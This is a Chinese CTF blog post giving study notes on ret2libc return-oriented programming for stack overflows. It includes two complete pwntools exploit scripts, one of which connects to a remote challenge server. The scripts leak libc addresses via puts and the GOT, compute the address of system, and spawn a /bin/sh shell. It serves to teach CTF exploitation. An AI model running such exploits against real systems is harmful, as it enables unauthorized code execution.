pwn栈溢出-基本ROP

[TOC]

0. 前言

接触ctf一年有余,作为一名ctf老菜鸟,没写过一篇ctf相关博客,确实不该。

本文介绍pwn入门操作————基本ROP,主要用于自我笔记,不包含详细原理细节。

1. pwn入门

必备知识:

  • python

  • 汇编

  • 链接

推荐书籍:

  • 《深入理解计算机》第二、三、六、七、八、九章

如果以上知识不牢固,相信我,你是根本pwn不动的。

2. 基本ROP

ROP(Return Oriented Programming),属于栈溢出类型中的基本操作。

之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件:
1.程序存在溢出,并且可以控制返回地址。
2.可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

更多介绍参见ctf-wiki

ROP中包含各种操作,如:ret2textret2shellcode等等。此处只介绍ret2libc————返回libc共享库,并执行system("/bin/sh")

2.1. 32位ret2libc

大致步骤如下:

  1. 发现溢出点,绕过代码中的关卡(可能没有)进行溢出。

  2. 通过溢出点,覆盖返回地址,执行write()puts()函数。即将plt表中的write\puts函数地址,覆盖在返回地址处。还需将调用write\puts函数后的返回地址,设置为漏洞函数地址,从而实现反复利用。

  3. 利用write\puts函数,打印got表中某个库函数运行在内存中的地址(如:read()函数)。即将got表库函数作为write\puts函数的参数。

  4. 通过某个libc库函数运行地址,推测出libc库版本(通过libc search网站,有些题目可能直接给出libc库)。然后,用该库函数的内存地址 - 该函数在libc库中的偏移地址 得到 libc库加载的内存地址。

  5. 得到libc库基地址后,便可以通过偏移得到system()函数和\bin\sh字符串的地址。

  6. 再次利用漏洞点,栈溢出执行system('\bin\sh'),拿到权限。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

elf = ELF('./babyrop')
libc = ELF('./libc-2.23.so')
r = remote('47.112.137.238', '13337')
# r = process('./babyrop')

puts_plt = elf.plt['puts']
read_got = elf.got['read']
ret_func_addr = 0x80487D0 # sub_80487D0()函数地址
test_str = 0x08048937

# 绕过
payload = '\x00' + '\xff' * 0x1f
r.send(payload)

# 覆盖sub_80487D0()函数返回地址,调用puts函数,打印got表中read函数的地址,然后又返回到sub_80487D0()函数
# ret_func_addr 为 puts() 函数结束后的返回地址,read_got 为 puts() 函数的参数
# 0xffffffff 为即将传进 sub_80487D0() 的参数
payload = 'a' * 0xeb + p32(puts_plt) + p32(ret_func_addr) + p32(read_got) + p32(0xffffffff)
r.send(payload)

# 获取到read()函数的地址,然后计算共享库基地址等等
r.recvuntil('Correct\n')
read_addr = u32(r.recv()[:4]) # read()函数实际地址
print hex(read_addr)
libc_base_addr = read_addr - libc.symbols['read'] # libc共享库地址
print 'libc: ', hex(libc_base_addr)
system_addr = libc_base_addr + libc.symbols['system'] # system()函数实际地址
print hex(system_addr)
binsh_addr = libc_base_addr + next(libc.search('/bin/sh'))
print hex(binsh_addr)

# 再次溢出,调用system('\bin\sh')
payload = 'a' * 0xeb + p32(system_addr) + p32(ret_func_addr) + p32(binsh_addr)
r.send(payload)

r.interactive()

2.2. 64位ret2libc

64位不同于32位,因为64位通过寄存器传参,需要利用pop rdi;ret等指令。因而,拼接payload时,调用32位函数参数在后,调用64位函数参数在前。

其它步骤大致相同。

示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher

context.log_level="debug"
pwn_file='./Emachine'

elf=ELF(pwn_file)
r = process(pwn_file)
# r = remote('120.27.3.220', '10010')

# 绕过
def func(num64):
ret = num64
for i in range(8):
temp = 0xff << (8*i)
a = num64 & temp
a = a >> (8*i)
# print(hex(temp), hex(a))
if a>=54 and a<=63:
a = a ^ 0xf
elif (a>=64 and a<=77) or a == 79 or a == 84 or (a>=86 and a<=95):
a = a ^ 0xe
elif (a>=96 and a<=109) or a == 111 or a == 116 or (a>=118 and a<=127):
a = a ^ 0xD
else:
a = a
a = a << (8*i)
ret = ret | a
return ret

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets_plt = elf.plt['gets']

pop_rdi = 0x400c83 # pop rdi;ret 指令地址。通过 ROPgadgets --binary xxx 获取

# 输出got表中puts函数的地址:
# 1. 0x58覆盖返回地址之前的内容
# 2. pop_rdi将控制(rip)转移到pop rdi;ret处,实现64位系统传参;func()绕过题目的字符串处理
# 3. pop rdi 将got表中puts函数地址pop到rdi中
# 4. ret = pop rip 将控制转到plt中调用puts函数处。实现puts函数调用,参数为got表中puts函数项的地址
payload = '1' * 0x58 + p64(func(pop_rdi)) + p64(puts_got) + p64(puts_plt)

# 上一步puts函数执行结束,控制转到pop_rdi处。传参到rdi,然后调用gets函数,读取输入字符串(system函数地址)修改got表的puts函数项(got表可写)
payload += p64(pop_rdi) + p64(puts_got) + p64(gets_plt)

# 同上,读取输入字符串(\bin\sh)到got表的一处中。此处读取到其它可写区域(如bss)亦可
payload += p64(pop_rdi) + p64(puts_got + 8) + p64(gets_plt)

# 将上一步写到got表中的字符串首地址作为参数,通过plt表调用puts函数,但此时got表中的puts函数项已被修改成其它函数(system)的地址
payload += p64(pop_rdi) + p64(puts_got + 8) + p64(puts_plt)

r.sendline('1')
r.recvuntil('choice!\n')
r.sendline(payload)
r.recvuntil('\x83\x0c@\n') # 接收 \x83\x0c@\n 之前的输出

# print '---> ' + r.recv()
puts_addr = u64(r.recv(timeout=5)[:6].ljust(8, '\x00')) # 通过打印got表中puts函数项,拿到puts函数在内存中地址
log.success('puts() addr ---> ' + hex(puts_addr))

libc = LibcSearcher('puts', puts_addr) # 通过puts函数地址推出lib库版本
libc_addr = puts_addr - libc.dump('puts') # 通过puts函数在lib库中的偏移得到lib库在内存中的基址
system_addr = libc_addr + libc.dump('system') # 通过偏移计算system函数的内存地址

r.sendline(p64(system_addr)) # 输入system函数地址,此处为了覆盖got表中puts函数项
r.sendline('/bin/sh\x00') # 输入system函数参数,写到 puts_got + 8 中

r.interactive()